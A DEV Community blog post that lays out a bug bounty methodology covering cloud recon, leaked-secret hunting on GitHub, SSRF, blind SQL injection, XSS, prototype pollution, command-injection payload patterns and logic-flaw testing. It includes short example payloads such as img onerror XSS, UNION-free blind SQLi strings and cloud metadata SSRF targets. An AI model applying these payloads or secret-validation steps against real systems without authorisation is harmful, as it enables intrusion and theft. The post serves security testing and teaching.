DEV Community: Trumpiter

🐞 Comprehensive Bug Bounty Hunting Methodology

Trumpiter — Mon, 02 Jun 2025 04:52:32 +0000

Comprehensive Bug Bounty Hunting Methodology

This document outlines a detailed methodology for bug bounty hunting, focusing on cloud misconfigurations, various injection vulnerabilities, and application logic flaws.

Part 1: Cloud Infrastructure Bug Bounty Methodology

Goal: Identify and report misconfigurations in the target's public cloud infrastructure that could lead to data exposure or unauthorized access. This involves scrutinizing flaws in cloud services utilized by the application, whether it's misconfigured infrastructure hosted by the cloud provider or application code insecurely leveraging cloud services.

Section 1.1: Enumerate Cloud Infrastructure and Attack Surface

The initial phase involves comprehensive reconnaissance to identify all cloud resources associated with the target.

Automated Multi-Cloud OSINT:
- Utilize tools like Cloud_Enum to perform a broad search across multiple cloud providers (AWS, Azure, GCP) for assets related to the target organization. This tool helps discover storage buckets, cloud functions, and other publicly exposed resources.
DNS Record Analysis for Resource Identification:
- Specific Tooling: Employ tools such as Fire_cloud standalone, which specializes in reviewing DNS records of subdomains to find AWS resources. This tool can often be adapted for other cloud providers by modifying its search patterns.
- Manual CNAME Record Inspection: Manually inspect CNAME records in DNS lookups. Often, cloud resources are masked behind subdomains that point to them via CNAME entries. Look for CNAMEs pointing to common cloud service domains. This list is not exhaustive but provides a starting point:
  - amazonaws.com (and its various service-specific subdomains like s3.amazonaws.com, elb.amazonaws.com)
  - digitaloceanspaces.com
  - windows.net (Azure services like blob.core.windows.net)
  - storage.googleapis.com
  - aliyuncs.com
  - Other provider-specific domains (e.g., Oracle Cloud, IBM Cloud).
- Domain Discovery via Azure AD:
  - Use AADInternals OSINT to potentially uncover new domains or subdomains related to the target, which might then lead to more cloud resources.
  - In a PowerShell prompt:
```
import-module AADInternals
Invoke-AADIntReconAsOutsider -Domain "{target-website.com}" | format-table
```
Web Page Scraping for Cloud Resources:
- Employ tools like CloudScraper to scrape web pages for links and references to cloud storage assets (e.g., S3 buckets, Azure blobs).
OSINT Search for Exposed Secrets:
- GitHub Reconnaissance (Manual & Automated):
  - User/Organization Specific Searches: Use scripts like github-users.py to search for secrets within a target user's or organization's repositories.
```
python3 github-users.py -k {target_keyword_or_company_name}
```
  - Advanced Dorking: Utilize tools like Github-Brute-Dork for systematic dorking to find leaked API keys, credentials, or sensitive configuration files.
```
python3 github_brutedork.py -u [YOUR_GITHUB_USER] -t [YOUR_GITHUB_TOKEN] -U [TARGET_USER] -o [TARGET_ORG] -v -d
```

* **Impact Assessment of Found Secrets:**
    * Use **[Dora](https://github.com/sdushantha/dora#example-use-cases)** to quickly assess the potential impact and permissions associated with discovered cloud service keys or tokens.
* **Validity Check for Secrets:**
    * Verify the functionality and permissions of any discovered secrets using tools/scripts like:
        * **[Keyhacks (Python)](https://github.com/streaak/keyhacks)**
        * **[keyhacks.sh (Bash)](https://github.com/gwen001/keyhacks.sh)**

Automated Vulnerability Scanning for Cloud Assets:
- Leverage Nuclei Cloud Enum Templates. These templates can help automate the discovery of common misconfigurations and exposures in cloud services (e.g., publicly accessible S3 buckets, open Elasticsearch instances).

Section 1.2: Analyzing for Infrastructure Misconfigurations

Once cloud assets are identified, the next step is to probe for common misconfigurations.

Research Common Misconfigurations:
- For each discovered service (e.g., S3, EC2, Azure Blob Storage, Kubernetes), research the most prevalent misconfigurations. Focus on services left publicly accessible unintentionally or those with overly permissive access granted to internet-facing users.
- Consult comprehensive resources like:
  - HackTrickz Cloud: An extensive knowledge base for cloud penetration testing techniques and misconfigurations.
  - Hacking The Cloud: A curated collection of attack techniques against cloud services.

Section 1.3: Analyzing Application Code Interaction with Cloud Services

Applications often interact with cloud services. Flaws in this interaction can lead to vulnerabilities.

Review HTTP Traffic:
- While interacting with the target application, meticulously monitor HTTP(S) traffic using a proxy like Burp Suite or OWASP ZAP.
- Look for requests made directly to cloud resources (e.g., *.s3.amazonaws.com, *.blob.core.windows.net).
- Analyze how the application uses these resources: Is it fetching static assets, uploading user data, or making API calls to cloud-backed services?
Research Insecure Implementations:
- Once you understand how the application uses a cloud service, research common ways these integrations can be implemented insecurely. For instance, if an application generates signed URLs for S3, check if the permissions are too broad or if the signing process can be manipulated.
- Utilize hands-on learning platforms:
  - PwnedLabs: Offers practical labs to understand and exploit cloud application misconfigurations.
- Refer to industry best practices and common pitfalls:
  - OWASP Cloud-Native Application Security Top 10: Highlights the most critical security risks in cloud-native applications.

Part 2: Injection Vulnerabilities Methodology

Goal: Discover instances where unexpected user-controlled input causes the application to behave in an unintended manner, potentially leading to data breaches, command execution, or denial of service.

Injection attacks occur when user-controlled input within an HTTP Request is processed by the application in a way that alters its intended execution flow. This could manifest as an error (e.g., HTTP 500), triggering a new conditional logic path, or any other deviation from normal behavior.

Section 2.1: Step 1 - Fuzzing for Unexpected Behavior

The primary step is to identify input patterns (payloads) that trigger anomalous responses.

Establish a Baseline:
- Send legitimate HTTP requests to various endpoints and record the expected responses (status codes, content, headers). This baseline is crucial for identifying deviations.
Systematic Fuzzing:
- Iterate through various attack vectors within the HTTP request (URL parameters, POST body parameters, headers, cookies).
- Inject simple payloads, often single characters or basic HTML elements, one by one.
- Monitor responses for any variations from the established baseline.
Examples of Baseline vs. Variation:
- Scenario 1: Server-Side Error Triggered
  - Baseline: GET /fetch?dest=safeapp.com results in a 200 OK response with the message "Done!"
  - Variation: GET /fetch?dest=safeapp.com@ results in a 500 Internal Server Error response with "ERROR: Site cannot be reached!"
  - Unexpected Behavior: The response code changes, indicating a server-side error.

* **Scenario 2: Data Handling Error**
    * **Baseline:** `GET /search?q=rs0n` results in a `200 OK` response with an empty JSON object.
    * **Variation:** `GET /search?q=rs0n"` results in a `500 Internal Server Error`.
    * **Unexpected Behavior:** The response code changes, and no data is returned, suggesting an error in data processing or querying.

* **Scenario 3: Client-Side Rendering Change**
    * **Baseline:** `GET /welcome?user=rs0n` results in `<h1>Welcome rs0n</h1>`.
    * **Variation:** `GET /welcome?user=<b>rs0n</b>` results in `<h1>Welcome <b>rs0n</b></h1>`.
    * **Unexpected Behavior:** The DOM renders formatted text (bold) that the developer did not intend, indicating potential HTML injection.

Section 2.2: Step 2 - Finding WHERE the Break is Occurring

Determine which part of the application (Client-Side, Server-Side, Database) is processing the input and causing the unexpected behavior. This is akin to how Dynamic Application Security Testing (DAST) scanners operate.

Client-Side Injection:
- Occurs when user input is reflected in the DOM, and the payload causes new HTML elements to render or JavaScript to execute.
- Example: The /welcome?user=<b>rs0n</b> scenario where bold text appears. If the injected HTML is directly visible in the browser's rendered output and potentially in the raw HTTP response body if server-side templating is involved.
Server-Side Code Injection:
- Typically indicated by errors (like HTTP 500) occurring before a complete DOM is returned, or by behavior changes driven by server-side logic.
- Example: The /fetch?dest=safeapp.com@ scenario. The error is server-generated. Researching the @ symbol in URL contexts might point towards server-side URL parsing or request libraries. If @ doesn't have special meaning in common database syntaxes, server-side code is a stronger candidate.
Database Injection:
- Often indicated by errors when special characters used in database query languages (like ', ", ;) are injected. Endpoint names like /search or parameter names like q or id can be hints.
- Example: The /search?q=rs0n" scenario. The " character is highly significant in SQL and other query languages. This makes a database interaction the likely culprit.

Section 2.3: Step 3 - Finding WHY the Break is Occurring

Understand the specific reason the payload causes the unexpected behavior. This involves investigating the underlying technology and code patterns.

Server-Side Injection Analysis (/fetch?dest=safeapp.com@):
- Observation: The @ symbol causes a server error. The endpoint name (fetch) and error message (Site cannot be reached!) suggest an outgoing HTTP request.
- Research:
  - The @ symbol is generally not allowed directly in domain names for registration, but it has a special meaning in URLs: protocol://user:password@host/.
  - If the server-side code constructs a URL from safeapp.com@, it might interpret safeapp.com as a username for an empty host, or the library (e.g., node-fetch) might throw an error due to the malformed URL (e.g., https://safeapp.com@).
- Hypothesis: The server-side code attempts to make an HTTP request using the dest parameter. The @ symbol corrupts the URL formation, leading to an exception in the HTTP client library.
Database Injection Analysis (/search?q=rs0n"):
- Observation: A " causes a 500 error on a search endpoint.
- Research: Double quotes (") are commonly used to delimit strings or identifiers in SQL queries. NoSQL databases often use $ operators for queries, with " for simple strings.
- Hypothesis: The application is likely using an SQL database. The input rs0n" is appended into a query like SELECT * FROM main_table WHERE data CONTAINS "rs0n"";, creating a syntax error due to the extra quote.

Client-Side Injection Analysis (/welcome?user=<b>rs0n</b>):

Observation: HTML tags in the user parameter are rendered in the browser.
Analysis: Determine if the DOM is built server-side (payload in HTTP response) or client-side (JavaScript manipulation).

Finding (as per your note): The server response does not contain <b>rs0n</b>. Instead, an inline JavaScript block is found:

<script type="text/javascript">
    function getQueryParameter(name) {
        const urlParams = new URLSearchParams(window.location.search);
        return urlParams.get(name);
    }

    function displayWelcomeMessage() {
        const userName = getQueryParameter('user'); // Corrected 'name' to 'user' based on example
        if (userName) {
            document.body.innerHTML = `<h1>Welcome ${userName}</h1>`;
        } else {
            document.body.innerHTML = `<h1>Welcome Guest</h1>`;
        }
    }
    window.onload = displayWelcomeMessage;
</script>

* **Hypothesis:** Client-side JavaScript retrieves the `user` parameter and uses `innerHTML` to update the DOM, leading to HTML injection.

Section 2.4: Step 4 - Weaponizing The Break

Transform the identified break into a demonstrable vulnerability with security impact.

Server-Side Injection Weaponization (/fetch?dest=safeapp.com@ -> SSRF):
- Hypothesis Confirmation: The application makes an HTTP request. Confirm this by providing a URL to a server you control (e.g., Burp Collaborator): /fetch?dest=[YOUR_COLLABORATOR_DOMAIN].
- Vulnerability Mapping: If an HTTP request is received by your Collaborator, this confirms an External Service Interaction. If you can make the server request internal resources (e.g., http://localhost:8080/admin, http://169.254.169.254/latest/meta-data/) or interact with internal services in a meaningful way, it becomes Server-Side Request Forgery (SSRF).
- Impact: Demonstrate SSRF by accessing an internal service not otherwise reachable, or by exfiltrating data from such a service. Even causing a distinguishable effect on an internal application can show impact.
Database Injection Weaponization (/search?q=rs0n" -> Blind SQLi):
- Assumption: SQL database, no direct error messages (blind).
- Goal: Exfiltrate data or bypass authentication (here, exfiltration as it's a search).
- Payload Refinement:
  - Known break: /search?q=rs0n" (500 error).
  - Attempt to complete the query and comment out the rest: /search?q=rs0n";--+
  - If this returns a 200 response (like the baseline), it suggests MySQL (; as statement terminator, --+ as comment). The query becomes SELECT * FROM main_table WHERE data CONTAINS "rs0n";--+";.
- Establishing True/False States (for Blind SQLi):
  - Find a query that returns results (True condition): /search?q=a";--+ (returns results).
  - The 500 error with /search?q=rs0n" can be a False condition.
- Exploitation: Use boolean-based or time-based blind SQL injection techniques with nested queries to exfiltrate data byte-by-byte. Example: /search?q=a" AND (SELECT SUBSTRING(version(),1,1))='5';--+.
Client-Side Injection Weaponization (/welcome?user=<b>rs0n</b> -> XSS):
- Context: Inline JavaScript using document.body.innerHTML = \
  Welcome ${userName}
  ;.
- Goal: Execute arbitrary JavaScript in the victim's browser (XSS).
- Initial Attempt (Script Tags):
  - Payload: /welcome?user=rs0n</h1><script>alert(document.domain)</script><h1>
  - Result (as per your note): Elements render, but no alert.
- Research innerHTML and Script Tags: The innerHTML property has specific behaviors with <script> tags; they typically don't execute when inserted this way. However, event handlers in other tags (like <img>, <svg>) often do.
- Successful Payload (img onerror):
  - Payload: /welcome?user=<h1>harrison</h1><img src='X' onerror=alert(document.domain) />
  - URL Encoded: /welcome?user=%3Ch1%3Eharrison%3C%2Fh1%3E%3Cimg%20src%3D%27X%27%20onerror%3Dalert(document.domain)%20%2F%3E
  - Result: JavaScript execution achieved.
- Impact & Delivery: Craft a payload to steal cookies, perform actions on behalf of the user, or redirect to a malicious site. Deliver via a crafted link.

Section 2.5: Detailed Client-Side Injections

Goal: Attacker's user-controlled input forces the Document Object Model (DOM) to load or behave in a way that the developers did not intend, often leading to JavaScript execution in the victim's browser.

Reference: YouTube Video - Bug Bounty Hunting for Client-Side Injection Vulnerabilities | Part I (Note: This is a placeholder URL from your notes)

Basic Hunting Methodology for HTML/JavaScript Injection:

* **Injecting HTML Elements Directly (Reflected in Server Response):**
    1.  **Find Reflected Input:** Identify where user input (e.g., GET parameter `rs0n`) is reflected in the server's HTML response (e.g., `<h1>Welcome rs0n!</h1>`).
    2.  **Escalate to HTML Injection:** Test if HTML tags are rendered (e.g., `<b>rs0n</b>` in GET parameter reflected as `<h1>Welcome <b>rs0n!</b></h1>`, making "rs0n" bold).
    3.  **Escalate to JavaScript Execution:** Attempt to inject script tags or event handlers (e.g., `</h1><script>alert(document.domain)</script>` or `<img src=x onerror=alert(document.domain)>`).

* **Injecting HTML Elements via Client-Side JavaScript:**
    1.  **Identify Unsanitized JS Processing:** Find instances where user-controlled input (e.g., `location.hash`, `location.search`, `postMessage` data) is taken from the DOM or URL and processed by client-side JavaScript without proper sanitization (e.g., `location.hash` passed to `document.write` or `element.innerHTML`).
    2.  **Escalate to HTML Injection:** Craft input that results in HTML rendering (e.g., `https://vulnerable.app#<h1>rs0nwuzhere</h1>` leading to `<h1>rs0nwuzhere</h1>` in the DOM).
    3.  **Escalate to JavaScript Execution:** Inject payloads that trigger JavaScript (e.g., `https://vulnerable.app#<img%20src=1%20onerror=alert(document.domain)>`).

CSS Injection:
- Occurs when user input is reflected into a CSS context (e.g., <style> tag, inline style attribute).
- Can lead to data exfiltration (e.g., using attribute selectors and background-image: url()), UI redressing, or sometimes trigger script execution in older browsers or specific contexts.
Client-Side Prototype Pollution (CSPP):
- Reference: Placeholder YouTube link from your notes.
- Find a Deep Merge: Identify JavaScript code (custom or from an NPM package like lodash before patched versions) that recursively merges objects.
- User-Controlled Input in Merge: Ensure user input can control key/value pairs in one of the objects being merged (e.g., query parameters parsed into an object: {"rs0n":"rs0n","key1":"value1"}).
- Poison Prototype: Craft input to modify Object.prototype by injecting __proto__ as a key (e.g., {"__proto__":{"rs0n":"rs0n"},"key1":"value1"}).
- Identify a Gadget Chain: Find client-side JavaScript code that uses an object property that isn't explicitly defined on the object itself, causing JavaScript to look up the property on the prototype chain (e.g., config = {"url":"safe.com","default":true}; document.write("<a href=" + config.url + ">Click Here!</a>")). If config.url is not set, but Object.prototype.url is, the latter will be used.
- Exploit Gadget Chain: Poison the prototype with a property that the gadget chain uses, leading to XSS or other undesired behavior (e.g., {"__proto__":{"url":"javascript:alert(document.domain)"},"key1":"value1"}).
Common Attack Techniques stemming from Client-Side Injections:

* **Content Injection:** Manipulating website content by injecting malicious data. Can be used for phishing or disseminating harmful links.
* **Reflected Cross-Site Scripting (XSS):** Malicious script injected via user input, reflected in the server's response, and executed in the victim's browser.
* **Stored Cross-Site Scripting (XSS):** Malicious script injected and stored permanently (e.g., in a database, comment section). Executed when any user views the infected page.
* **Blind Cross-Site Scripting (XSS):** Injected script whose execution is not immediately visible to the attacker. Often triggers in a different part of the application or for a privileged user (e.g., an admin panel viewing logs).
* **Dangling Markup Injection:** Injecting incomplete HTML tags. Attackers can use this to capture data submitted in forms that appear after the injected markup or to break page rendering. For example, an unclosed `<a>` tag with a malicious `href` could make a large portion of the page a clickable link to an attacker's site. It can also be used to exfiltrate anti-CSRF tokens or other sensitive data by making them part of a URL that gets sent to an external server.
* **Client-Side JavaScript Injection (Non-DOM XSS):** User input is passed to JavaScript "sinks" like `eval()`, `setTimeout()`, `new Function()` without writing directly to the DOM in a way that causes HTML parsing.
* **DOM-Based Cross-Site Scripting (XSS):** Vulnerability exists in the client-side code. User input influences how the DOM is modified, leading to script execution. The server is often unaware.
* **DOM-Based Open Redirect:** Client-side script modifies the DOM to redirect users to an external, attacker-controlled URL (e.g., by manipulating `window.location` with user input).
* **Client-Side Template Injection (CSTI):** User input is injected into client-side templates (e.g., AngularJS, Vue.js, React with `dangerouslySetInnerHTML` if not careful) leading to XSS or unintended template code execution.
* **postMessage Vulnerabilities:** Insecure handling of `window.postMessage()` calls. If the origin of the message isn't checked, or if data is handled unsafely, it can lead to XSS or data leakage between windows/frames.
* **Client-Side Denial of Service (DoS) / Breaking The DOM:** Injecting content or triggering JavaScript that causes the browser to hang, crash, or become unusable (e.g., regex DoS, infinite loops, memory exhaustion).

Weaponizing and Mitigating HTML-Based Client-Side Injections:

* **Compensating Controls (Defenses):**
    * **Client-Side Validation (PREVENTS SOME ATTACKS/IMPROVES UX):** Can be bypassed, but useful for UX and guiding legitimate users. May reveal developer concerns.
    * **Server-Side Validation (PREVENTS ATTACK):** Crucial. Ensures input is of expected type and size; sanitizes or rejects malicious characters.
    * **Web Application Firewall (WAF) (CAN PREVENT ATTACK):** Blocks requests based on rulesets and malicious patterns. Can be bypassed.
    * **Output Encoding (PREVENTS ATTACK):** Contextually encodes user input before rendering it in the DOM (e.g., HTML entity encoding, JavaScript string escaping). This is a primary defense against XSS.
    * **Cookie Flags (MITIGATES IMPACT):**
        * `HttpOnly`: Prevents JavaScript access to cookies.
        * `Secure`: Ensures cookies are only sent over HTTPS.
        * `SameSite` (`Strict`, `Lax`, `None`): Controls when cookies are sent with cross-site requests, mitigating CSRF and some information leakage.
    * **Content Security Policy (CSP) (MITIGATES IMPACT/CAN PREVENT ATTACK):** Directives telling the browser where resources can be loaded from, what scripts can execute, etc. Can significantly reduce XSS impact or prevent it.

* **Demonstrating Impact:**
    * Steal victim's cookies (if not `HttpOnly`).
    * Force victim to make arbitrary HTTP requests (CSRF-like actions).
    * Steal sensitive information from the DOM of restricted pages the victim can access.
    * Perform UI redressing or phishing.
    * Keylogging.

Section 2.6: Detailed Server-Side Injections

Goal: Attacker's user-controlled input forces a server-side method or process to execute in a way the developers did not intend, potentially leading to Remote Code Execution (RCE), SSRF, file manipulation, etc.

Basic Hunting Methodology for Server-Side Injections:

* **Core Principle:** Break the Application -> Understand Why It Broke -> Weaponize the Break.
* **Identify Fuzzing Targets:**
    * URL Parameters (GET/POST)
    * HTTP Headers (custom headers, User-Agent, Referer, etc.)
    * Cookie values
    * JSON/XML/other body content
    * File uploads (filenames, metadata, content)
    * Any user-controlled input processed by the application. Prioritize inputs reflected in the DOM or those that seem to influence backend logic.
* **Fuzzing Techniques:**
    * **Unexpected Types:** If a string is expected, send `null`, an integer, an array, or a boolean.
    * **Large Payloads:** Send an excessive amount of data (e.g., 10,000 'A's) to test for buffer overflows or handling limits.
    * **Special Characters:** Inject various special characters (e.g., `', ", ;, |, &, $, <, >, \`, etc.) individually or in combinations. Test different encodings (URL, Hex, Double Hex).
    * **Burp Suite's "Backslash Powered Scanner":** Useful for finding subtle server-side injection points by observing how backslashes are processed.

Vulnerability Examples by Language/Technology (and common sinks):

* **[Command Injection](https://book.hacktricks.xyz/pentesting-web/command-injection):** Input is passed to a system shell.
    * **Node.js:** `child_process.exec()`, `child_process.execSync()`, `child_process.spawn()`
    * **PHP:** `exec()`, `system()`, `passthru()`, `shell_exec()`, backticks (`` ` ``)
    * **Python:** `os.system()`, `subprocess.run(..., shell=True)`, `subprocess.call(..., shell=True)`, `pty.spawn()`
    * **Java:** `Runtime.getRuntime().exec(String)` (especially if concatenating input into the command string)
    * **Payloads:** `victim_cmd ; malicious_cmd`, `victim_cmd && malicious_cmd`, `victim_cmd | malicious_cmd`, `` `malicious_cmd` ``

* **[Code Injection](https://owasp.org/www-community/attacks/Code_Injection) (Eval Injection):** Input is parsed and executed as code by the programming language interpreter. *"Eval is Evil."*
    * **Node.js (JavaScript):** `eval()`, `new Function()`, `setTimeout(string, ...)` , `setInterval(string, ...)`
    * **PHP:** `eval()`, `assert()` (with string input), `preg_replace()` with `/e` modifier (deprecated but found in old code), `create_function()`
    * **Python:** `eval()`, `exec()`
    * **Java:** `javax.script.ScriptEngineManager().getEngineByName("js").eval()` (if evaluating user input)

* **[Server-Side Request Forgery (SSRF)](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery):** Application makes an HTTP request to a URL (or part of a URL) controlled by the attacker.
    * **Node.js:** `http.request()`, `https.request()`, `axios.get()`, `request.get()`, `fetch()` (via `node-fetch` or native)
    * **PHP:** `curl_exec()` (via `curl_init()`), `file_get_contents()`, `fsockopen()`
    * **Python:** `requests.get()`, `urllib.request.urlopen()`
    * **Java:** `java.net.URL.openConnection()`, `java.net.HttpURLConnection`, Apache HttpClient, OkHttp

* **[Server-Side Template Injection (SSTI)](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection):** Input is embedded into a server-side template, allowing template syntax execution.
    * **Node.js (e.g., Jade/Pug, EJS, Handlebars):**
        * Jade/Pug: `var html = jade.render('USER_CONTROLLED_INPUT', options);` ([HackTricks Jade](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jade-nodejs))
    * **PHP (e.g., Twig, Smarty):**
        * Twig: `$output = $twig->render('template_name', ['user_input' => USER_CONTROLLED_INPUT]);` or `$output = $twig->createTemplate(USER_CONTROLLED_INPUT)->render();` ([HackTricks Twig](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#twig-php))
    * **Python (e.g., Jinja2, Mako, Tornado):**
        * Jinja2: `template.render(user_input=USER_CONTROLLED_INPUT)` or `Template(USER_CONTROLLED_INPUT).render()` ([HackTricks Jinja2](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python))
    * **Java (e.g., Velocity, Freemarker, Thymeleaf, Spring View Templates):**
        * [Spring Examples](https://www.baeldung.com/spring-template-engines), [HackTricks Java SSTI](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#java)

* **[Server-Side Prototype Pollution (SSPP)](https://portswigger.net/web-security/prototype-pollution/server-side):** Similar to CSPP but affects server-side JavaScript (Node.js) objects. Can lead to RCE, ACL bypass, or other issues if polluted properties are used in security-sensitive operations.
    * **Node.js:** Vulnerable object merging functions, often custom-written or from older versions of libraries like `lodash` or `jquery.extend`. Example merge:

        ```javascript
        const merge = (target, source) => {
            for (const key of Object.keys(source)) {
                if (source[key] instanceof Object && target[key] instanceof Object) { // Added check for target[key]
                    Object.assign(source[key], merge(target[key], source[key]));
                }
            }
            Object.assign(target || {}, source);
            return target;
        }
        // If user controls 'source' and can set 'source.__proto__.isAdmin = true'
        ```

* **[Insecure Deserialization](https://book.hacktricks.xyz/pentesting-web/deserialization):** User-controlled data is deserialized without proper validation, leading to object injection and potential RCE.
    * **PHP:** `unserialize()` (look for magic methods like `__wakeup`, `__destruct`, `__toString`)
    * **Python:** `pickle.loads()`, `yaml.unsafe_load()`
    * **Node.js:** Libraries like `node-serialize`'s `unserialize()`, `js-yaml`'s `load()` without safe options.
    * **Java:** `java.io.ObjectInputStream.readObject()`, XML deserializers (XStream, Jackson with polymorphic typing enabled), JSON deserializers.

* **[File Inclusion (LFI/RFI)](https://book.hacktricks.xyz/pentesting-web/file-inclusion):** Application includes a file specified by user input.
    * **PHP:** `include()`, `require()`, `include_once()`, `require_once()`, `fopen($filename, 'r')`, `file_get_contents($filename)`
    * **Python:** `open("filename.txt", "r")` (if filename is user-controlled)
    * **Node.js:** `fs.readFileSync('filename.txt', 'utf8')` (if filename is user-controlled)
    * **Java:** `new File("filename.txt")` (if filename is user-controlled and then read/processed)

Section 2.7: Detailed Database Injections

Goal: Attacker's user-controlled input forces the application to make a database query that the developers did not intend, leading to data exfiltration, modification, deletion, or authentication bypass.

SQL Injection (SQLi):
- Targets relational databases (MySQL, PostgreSQL, MSSQL, Oracle, SQLite, etc.).
- Detection: Injecting SQL metacharacters (', ", ), ;, --, #) and observing errors or changes in behavior.
- Techniques:
  - In-band (Error-based, Union-based): Results/errors are returned in the same channel.
  - Inferential (Blind - Boolean-based, Time-based): Deduce information based on true/false responses or time delays.
  - Out-of-band: Data exfiltrated via a different channel (e.g., DNS, HTTP requests triggered by database functions).
- Tools:
  - SQLMap: Automated SQLi detection and exploitation.
- Resources:
  - HackTricks SQLi
  - PayloadsAllTheThings - SQL Injection
NoSQL Injection:
- Targets NoSQL databases (MongoDB, CouchDB, Cassandra, etc.). Syntax and exploitation techniques vary greatly depending on the database type and context.
- Detection: Often involves injecting operators specific to the NoSQL database's query language (e.g., MongoDB: $ne, $gt, $regex, $where for JavaScript execution).
- Techniques:
  - Bypassing authentication.
  - Extracting all records.
  - Injecting JavaScript for server-side execution (e.g., MongoDB's $where, mapReduce).
- Tools:
  - NoSQLMap: Automated NoSQL injection detection and exploitation (primarily for MongoDB).
- Resources:
  - HackTricks NoSQL Injection
  - PayloadsAllTheThings - NoSQL Injection

Part 3: Application Logic Vulnerabilities Methodology

Goal: Send unexpected HTTP requests, or a sequence of requests, to cause the application to act in an unintended way, often bypassing security controls or exploiting flawed business logic.

Logic vulnerabilities arise when an attacker can manipulate an application's intended workflow by submitting HTTP requests (or a series of requests) that developers did not anticipate. This could involve missed access control checks, failure to validate data integrity across steps, or race conditions. A deep understanding of the application's functionality is paramount.

Section 3.1: Core Steps for Logic Testing

Understand the Application Deeply: Spend significant time (days, if necessary) using the application as intended. Map out features, user roles, and data flows.
Identify Complex & Critical Mechanisms: Focus on multi-step processes, features involving financial transactions, access control boundaries, and user management functions.
Send Unexpected Sequences or Manipulated Requests: Deviate from normal usage patterns. Reorder steps, drop requests, modify parameters between steps, or replay requests out of context.

Section 3.2: Learn The Application (In-Depth Reconnaissance)

Effective logic testing hinges on a thorough understanding of the target. SaaS applications with authentication, complex access controls, varied functionality, and multi-user designs are prime candidates.

Architecture Analysis:

* **Backend Language (PHP, Node.js, Java, Python, Ruby, etc.):**
    * Language-specific quirks can influence logic.
    * **PHP `$_SESSION` vs. `$_COOKIE`:** As you noted, if a developer mistakenly uses `$_COOKIE['user_id']` instead of `$_SESSION['user_id']` for sensitive identifiers, an attacker can manipulate their `user_id` cookie.
    * **PHP/Node.js Loose Comparison (`==` vs. `===`):** In PHP and JavaScript, `==` performs type juggling. If `if ($userInput == true)` is used, inputs like `"1"`, `1`, or even some non-empty strings might evaluate to true. `===` checks both type and value. Look for this in authentication, authorization, or critical conditional checks. Java has a similar but distinct consideration with `==` (reference equality for objects) vs. `.equals()` (value equality).

* **Frontend Framework (React, Angular, Vue, Next.js, Svelte, etc.):**
    * **Client-Side vs. Server-Side Routing/Rendering:**
        * **React/Angular/Vue (Client-Side Routing):** Access controls might be partially implemented client-side (e.g., React Router hiding links). Always verify these controls server-side. If Webpack isn't obfuscated, source code might be easily reviewable.
        * **Next.js/Nuxt.js (SSR/SSG):** Routing and data fetching logic can be server-side, client-side, or a hybrid. Understand where access decisions are made.

* **Client-Side NPM Packages:**
    * Identify used packages (e.g., via `package.json` if exposed, or browser dev tools).
    * Check for known vulnerabilities in specific versions (e.g., using Snyk Advisor, npm audit).
    * Understand the package's purpose. E.g., `lodash` (older versions vulnerable to Prototype Pollution) is often used for object merging. Can you inject unexpected values into a critical JSON object via a vulnerable merge?

* **Custom Client-Side JavaScript Files:**
    * These have not undergone public scrutiny like NPM packages, potentially harboring unique flaws.
    * Analyze logic: conditionals, loops, event handlers, especially those dealing with user identity, roles, or permissions.
    * Use tools like **JSNice** or browser built-in "pretty print" to de-minify code.

* **Authentication Mechanisms:**
    * **Username/Password:**
        * Test for username enumeration.
        * Can you register with a username that collides or nearly collides with an existing one due to sanitization or comparison flaws (e.g., `user` vs. `user\0` or `user%00`)?
    * **Email/Password:**
        * **Plus Addressing (e.g., `user+alias@example.com`):** Can you create multiple accounts tied to the same inbox? How does this affect password resets, account linking, or uniqueness constraints?
        * Email syntax complexity ([RFC 2822](https://datatracker.ietf.org/doc/html/rfc2822#section-3)) can lead to regex validation bypasses.
    * **Single Sign-On (SSO) via SAML:**
        * Understand the SAML flow (SP-initiated, IdP-initiated).
        * **If you can configure SSO for the target:** Test for SAML Signature Wrapping, XXE in SAML assertions (if parsed by a vulnerable XML parser), Certificate Faking, Token Recipient Confusion. Resources: [epi's SAML blog series](https://epi052.gitlab.io/notes-to-self/tags/saml/), [OWASP SAML Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html). Local test IdP: [docker-test-saml-idp](https://github.com/kristophjunge/docker-test-saml-idp).
        * **If you CANNOT configure SSO:** Focus on interactions between SSO and non-SSO accounts. If SSO relies on email domain for trust, can you register a non-SSO account with an email from a trusted domain (if the app allows it) and exploit inconsistencies? (e.g., [H1 Report 2101076](https://hackerone.com/reports/2101076), [H1 Report 1486417](https://hackerone.com/reports/1486417)).
    * **[OAuth 2.0](https://datatracker.ietf.org/doc/html/rfc6749):**
        * Recognize OAuth is an *authorization* framework, often misused for *authentication*.
        * Identify the **Grant Type** (Authorization Code, Implicit, Client Credentials, Password, PKCE).
        * Note all **OAuth Parameters** used (`client_id`, `redirect_uri`, `response_type`, `scope`, `state`).
        * Understand *why* OAuth is used: simple sign-in, API access delegation, third-party integrations. This dictates attack vectors (e.g., insecure `redirect_uri` handling, scope escalation, CSRF against the flow). (More in OAuth Testing section).

* **Enumerable Objects in the Application:**
    * Identify key data structures (Objects) the application manipulates.
    * **User Object:** Contains identity info, potentially password hashes, roles, profile data. Target for IDORs (Read, Update).
    * **Message Object:** If messaging exists, look for IDORs (Read others' messages, Update/Delete messages, Send as another user).
    * **Financial/Sensitive Objects (Bank Account, Order, Invoice, etc.):** High impact if compromised. Focus on confidentiality (Read) and integrity (Update).

* **Session Establishment and Management:**
    * How does the app identify a user across requests?
    * **Cookie -> Unique Opaque String:** Most common and generally secure. Session data stored server-side. Focus on cookie flags (`Secure`, `HttpOnly`, `SameSite=Strict/Lax`), expiration, and ensuring session invalidation on logout/timeout. IDORs via session manipulation are unlikely unless the server-side mapping is flawed.
    * **Cookie -> Stores Data (No Signature):** Highly vulnerable. If data in the cookie (e.g., `user_id=123;role=user`) is trusted server-side, attacker can modify it. Decode (Base64, URL) and tamper.
    * **Cookie -> Stores Data (With Signature):** More secure, but check if signature validation is performed *on every endpoint* that uses the cookie data. If an endpoint misses validation, it's like "No Signature."
